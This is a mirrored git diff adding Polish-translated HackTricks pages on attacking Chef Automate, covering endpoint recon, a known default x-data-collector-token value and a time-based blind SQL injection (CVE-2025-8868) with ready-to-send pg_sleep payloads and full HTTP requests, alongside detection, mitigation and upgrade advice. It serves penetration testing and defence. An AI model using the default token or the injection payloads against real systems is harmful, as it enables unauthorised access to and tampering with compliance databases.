mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-ci-cd/chef-automate-security/README.md', 'sr
This commit is contained in:
@@ -0,0 +1,18 @@
|
||||
# Bezpieczeństwo Chef Automate
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Czym jest Chef Automate
|
||||
|
||||
Chef Automate to platforma do automatyzacji infrastruktury, zapewniania zgodności i dostarczania aplikacji. Udostępnia interfejs webowy (często Angular), który komunikuje się z backendowymi usługami gRPC przez gRPC-Gateway, oferując REST-like endpoints pod ścieżkami takimi jak /api/v0/.
|
||||
|
||||
- Typowe komponenty backendu: gRPC services, PostgreSQL (często widoczne przez prefiksy pq: error), data-collector ingest service
|
||||
- Mechanizmy uwierzytelniania: tokeny użytkownika/API oraz nagłówek tokena data collector x-data-collector-token
|
||||
|
||||
## Enumeracja i ataki
|
||||
|
||||
{{#ref}}
|
||||
chef-automate-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,142 @@
|
||||
# Chef Automate Enumeration & Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
|
||||
Ta strona zbiera praktyczne techniki to enumerate and attack Chef Automate instances, ze szczególnym naciskiem na:
|
||||
- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
|
||||
- Abusing the x-data-collector-token authentication header when defaults are present
|
||||
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
|
||||
|
||||
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
|
||||
|
||||
## Recon: Architecture and Fingerprints
|
||||
|
||||
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
|
||||
- API transport: REST to gRPC via gRPC-Gateway
|
||||
- Responses may include grpc-metadata-content-type: application/grpc
|
||||
- Database/driver fingerprints:
|
||||
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
|
||||
- Interesting Compliance endpoints (auth required):
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
|
||||
## Auth: Data Collector Token (x-data-collector-token)
|
||||
|
||||
Chef Automate exposes a data collector that authenticates requests via a dedicated header:
|
||||
|
||||
- Header: x-data-collector-token
|
||||
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
|
||||
|
||||
## API Schema Inference via Error-Driven Discovery
|
||||
|
||||
gRPC-Gateway-backed endpoints often leak przydatne błędy walidacji, które opisują oczekiwany model żądania.
|
||||
|
||||
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
|
||||
|
||||
- type: string (filter field identifier)
|
||||
- values: array of strings
|
||||
|
||||
Example request shape:
|
||||
```json
|
||||
{
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
}
|
||||
```
|
||||
Niepoprawny JSON lub niewłaściwe typy pól zazwyczaj wywołują odpowiedzi 4xx/5xx z podpowiedziami, a nagłówki wskazują zachowanie gRPC-Gateway. Użyj tego do odwzorowania pól i zlokalizowania powierzchni wstrzyknięć.
|
||||
|
||||
## Compliance API SQL Injection (CVE-2025-8868)
|
||||
|
||||
- Affected endpoint: POST /api/v0/compliance/profiles/search
|
||||
- Injection point: filters[].type
|
||||
- Vulnerability class: time-based blind SQL injection in PostgreSQL
|
||||
- Root cause: Brak właściwej parametryzacji/whitelistingu przy interpolowaniu pola type do dynamicznego fragmentu SQL (prawdopodobnie używanego do konstrukcji identyfikatorów/WHERE clauses). Spreparowane wartości w type są ewaluowane przez PostgreSQL.
|
||||
|
||||
Działający time-based payload:
|
||||
```json
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Uwagi dotyczące techniki:
|
||||
- Zamknij oryginalny string pojedynczym apostrofem
|
||||
- Dołącz podzapytanie wywołujące pg_sleep(N)
|
||||
- Ponownie wejdź w kontekst string za pomocą ||, aby końcowy SQL pozostał składniowo poprawny niezależnie od tego, gdzie type jest osadzone
|
||||
|
||||
### Dowód przez różnicę opóźnień
|
||||
|
||||
Wyślij sparowane żądania i porównaj czasy odpowiedzi, aby zweryfikować wykonanie po stronie serwera:
|
||||
|
||||
- N = 1 sekunda
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
Content-Type: application/json
|
||||
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
|
||||
```
|
||||
- N = 5 sekund
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
Content-Type: application/json
|
||||
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Observed behavior:
|
||||
- Czasy odpowiedzi skalują się zgodnie z pg_sleep(N)
|
||||
- Odpowiedzi HTTP 500 mogą zawierać szczegóły zaczynające się od pq: podczas sondowania, potwierdzając ścieżki wykonania SQL
|
||||
|
||||
> Wskazówka: Użyj walidatora czasowego (np. wielokrotne próby z porównaniem statystycznym), aby zmniejszyć szum i fałszywe pozytywy.
|
||||
|
||||
### Impact
|
||||
|
||||
Uwierzytelnieni użytkownicy — lub nieautoryzowani aktorzy wykorzystujący domyślny x-data-collector-token — mogą wykonywać dowolne zapytania SQL w kontekście PostgreSQL w Chef Automate, narażając poufność i integralność profilów zgodności, konfiguracji oraz telemetrii.
|
||||
|
||||
### Affected versions / Fix
|
||||
|
||||
- CVE: CVE-2025-8868
|
||||
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
|
||||
|
||||
## Detection and Forensics
|
||||
|
||||
- API layer:
|
||||
- Monitoruj odpowiedzi 500 na /api/v0/compliance/profiles/search, gdzie filters[].type zawiera cudzysłowy ('), konkatenację (||) lub odwołania do funkcji takie jak pg_sleep
|
||||
- Sprawdź nagłówki odpowiedzi pod kątem grpc-metadata-content-type, aby zidentyfikować przepływy gRPC-Gateway
|
||||
- Database layer (PostgreSQL):
|
||||
- Audytuj wywołania pg_sleep i błędy niepoprawnych identyfikatorów (często ujawniane z prefiksem pq: pochodzącym z Go pq drivera)
|
||||
- Authentication:
|
||||
- Loguj i generuj alerty przy użyciu x-data-collector-token, szczególnie znanych wartości domyślnych, w różnych ścieżkach API
|
||||
|
||||
## Mitigations and Hardening
|
||||
|
||||
- Immediate:
|
||||
- Rotuj/wyłącz domyślne tokeny data collector
|
||||
- Ogranicz ingress do endpointów data collector; wymuszaj silne, unikatowe tokeny
|
||||
- Code-level:
|
||||
- Parametryzuj zapytania; nigdy nie łącz fragmentów SQL przez konkatenację łańcuchów
|
||||
- Ściśle ogranicz wartości type do białej listy po stronie serwera (enum)
|
||||
- Unikaj dynamicznego składania SQL dla identyfikatorów/klauzul; jeśli wymagane jest dynamiczne zachowanie, użyj bezpiecznego cytowania identyfikatorów i jawnych białych list
|
||||
|
||||
## Practical Testing Checklist
|
||||
|
||||
- Sprawdź, czy x-data-collector-token jest akceptowany i czy znana wartość domyślna działa
|
||||
- Zmapuj schemat żądań Compliance API, wywołując błędy walidacji i czytając komunikaty/nagłówki błędów
|
||||
- Testuj SQLi w mniej oczywistych polach "identifier-like" (np. filters[].type), nie tylko w tablicach wartości lub polach tekstowych na najwyższym poziomie
|
||||
- Używaj technik opartych na czasie z konkatenacją, aby utrzymać składniową poprawność SQL w różnych kontekstach
|
||||
|
||||
## References
|
||||
|
||||
- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
|
||||
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
|
||||
- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868)
|
||||
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
|
||||
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -1,5 +1,3 @@
|
||||
# GCP - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user